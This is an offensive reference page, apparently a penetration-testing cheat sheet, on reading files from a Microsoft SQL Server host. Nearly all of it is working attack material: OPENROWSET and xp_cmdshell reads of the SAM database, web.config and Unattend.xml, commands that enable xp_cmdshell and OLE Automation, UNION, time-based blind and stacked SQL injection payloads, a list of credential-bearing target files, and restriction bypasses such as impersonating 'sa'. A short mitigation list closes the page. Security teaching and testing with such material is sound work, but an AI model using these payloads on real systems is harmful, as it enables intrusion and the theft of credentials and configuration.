Reading Files
Microsoft SQL Server provides several methods to read files from the server’s filesystem, which can be exploited during SQL injection attacks if the database user has sufficient privileges.
Prerequisites
To read files from MSSQL, you typically need one of the following:
sysadminrole membership (for xp_cmdshell)ADMINISTER BULK OPERATIONSpermission (for OPENROWSET BULK)- Ad hoc distributed queries enabled (for some OPENROWSET methods)
OPENROWSET BULK
The most versatile method for reading files. Reads file contents directly into a result set.
Reading Text Files
-- Read entire file as single text value (SINGLE_CLOB for ASCII)
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;
-- Read as Unicode text (SINGLE_NCLOB)
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_NCLOB) AS Contents;
Reading Binary Files
-- Read binary file (SINGLE_BLOB)
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\config\SAM', SINGLE_BLOB) AS Contents;
-- Convert to hex for display
SELECT CONVERT(VARCHAR(MAX), BulkColumn, 2)
FROM OPENROWSET(BULK 'C:\path\to\binary', SINGLE_BLOB) AS Contents;
OPENROWSET BULK Options
| Option | Description | Use Case |
|---|---|---|
| SINGLE_CLOB | ASCII text, single row/column | Config files, logs |
| SINGLE_NCLOB | Unicode text, single row/column | Unicode files |
| SINGLE_BLOB | Binary data, single row/column | Executables, SAM |
| FORMATFILE | Custom format for structured parsing | CSV, fixed-width |
Using xp_cmdshell
When xp_cmdshell is enabled, use OS commands to read files:
-- Read file using 'type' command
EXEC xp_cmdshell 'type C:\Windows\System32\drivers\etc\hosts';
-- Read with PowerShell (more flexible)
EXEC xp_cmdshell 'powershell -c "Get-Content C:\inetpub\wwwroot\web.config"';
-- Base64 encode for binary files
EXEC xp_cmdshell 'powershell -c "[Convert]::ToBase64String([IO.File]::ReadAllBytes(''C:\path\to\file''))"';
Enabling xp_cmdshell
-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
File System Functions
xp_fileexist - Check File Existence
-- Returns 1 if file exists, 0 otherwise
DECLARE @exists INT;
EXEC xp_fileexist 'C:\Windows\System32\drivers\etc\hosts', @exists OUTPUT;
SELECT @exists;
-- Alternative: returns result set with file/directory info
EXEC xp_fileexist 'C:\Windows\System32\drivers\etc\hosts';
xp_dirtree - List Directory Contents
-- List files and subdirectories
EXEC xp_dirtree 'C:\inetpub\wwwroot\', 1, 1;
-- Parameters: path, depth (1=immediate), include files (1=yes)
-- Returns: subdirectory, depth, file (0=dir, 1=file)
-- Store results in table for querying
CREATE TABLE #dirs (subdirectory VARCHAR(255), depth INT, isfile INT);
INSERT INTO #dirs EXEC xp_dirtree 'C:\inetpub\wwwroot\', 1, 1;
SELECT * FROM #dirs WHERE isfile = 1;
OLE Automation (sp_OACreate)
Use FileSystemObject for file operations:
-- Enable OLE Automation
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- Read file using FileSystemObject
DECLARE @fso INT, @file INT, @content VARCHAR(8000);
EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUTPUT;
EXEC sp_OAMethod @fso, 'OpenTextFile', @file OUTPUT, 'C:\Windows\System32\drivers\etc\hosts', 1;
EXEC sp_OAMethod @file, 'ReadAll', @content OUTPUT;
SELECT @content;
EXEC sp_OADestroy @file;
EXEC sp_OADestroy @fso;
Important Target Files
| File Path | Description |
|---|---|
C:\Windows\System32\drivers\etc\hosts | Host mappings |
C:\Windows\System32\config\SAM | User account database |
C:\inetpub\wwwroot\web.config | IIS/ASP.NET configuration |
C:\inetpub\wwwroot\*\connectionstrings.config | Database connection strings |
C:\Windows\Panther\Unattend.xml | Unattended install (may have creds) |
C:\Windows\Panther\unattend\Unattend.xml | Alternative unattend location |
C:\Windows\System32\inetsrv\config\applicationHost.config | IIS config |
C:\Windows\Microsoft.NET\Framework64\*\Config\web.config | .NET machine config |
C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | PowerShell history |
Path variability: Paths with * are wildcards requiring enumeration. Actual paths vary by version:
- .NET Framework:
v4.0.30319,v2.0.50727, etc. — checkC:\Windows\Microsoft.NET\Framework64\for installed versions - IIS config: May be at
%systemroot%\System32\inetsrv\config\(IIS 7+) or%systemroot%\system32\inetsrv\MetaBase.xml(IIS 6) - User profiles: Replace
*with discovered usernames fromC:\Users\directory listing - Web roots: Custom IIS sites may use paths other than
C:\inetpub\wwwroot\
Verify paths on the target system using directory listing (xp_dirtree, xp_cmdshell 'dir') before attempting file reads.
SQL Injection Examples
-- Read file via UNION injection
' UNION SELECT NULL, BulkColumn, NULL FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS x--
-- Check file existence via blind injection (time-based)
'; DECLARE @x INT; EXEC xp_fileexist 'C:\inetpub\wwwroot\web.config', @x OUTPUT; IF @x=1 WAITFOR DELAY '0:0:5'--
-- Stacked query to read file
'; SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x--
-- Using xp_cmdshell in injection
'; EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config'--
Checking Permissions
-- Check if user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- Check if BULK operations allowed
SELECT HAS_PERMS_BY_NAME(null, null, 'ADMINISTER BULK OPERATIONS');
-- Check if xp_cmdshell is enabled
EXEC sp_configure 'xp_cmdshell';
-- Check if OLE Automation is enabled
EXEC sp_configure 'Ole Automation Procedures';
Bypassing Restrictions
When OPENROWSET BULK is Blocked
-- Try using xp_cmdshell instead
EXEC xp_cmdshell 'type "C:\path\to\file"';
-- Or OLE Automation
DECLARE @fso INT, @file INT, @line VARCHAR(8000);
EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUTPUT;
-- ...
Reading Files as Different User
-- Use EXECUTE AS to impersonate (if permitted)
EXECUTE AS LOGIN = 'sa';
SELECT * FROM OPENROWSET(BULK 'C:\sensitive\file.txt', SINGLE_CLOB) AS x;
REVERT;
Mitigation
To prevent unauthorized file reading:
- Restrict
sysadminrole membership - Disable
xp_cmdshellandOle Automation Proceduresif not needed - Disable ad hoc distributed queries
- Use parameterized queries in applications
- Apply principle of least privilege to SQL Server service account
- Monitor for OPENROWSET BULK usage in query logs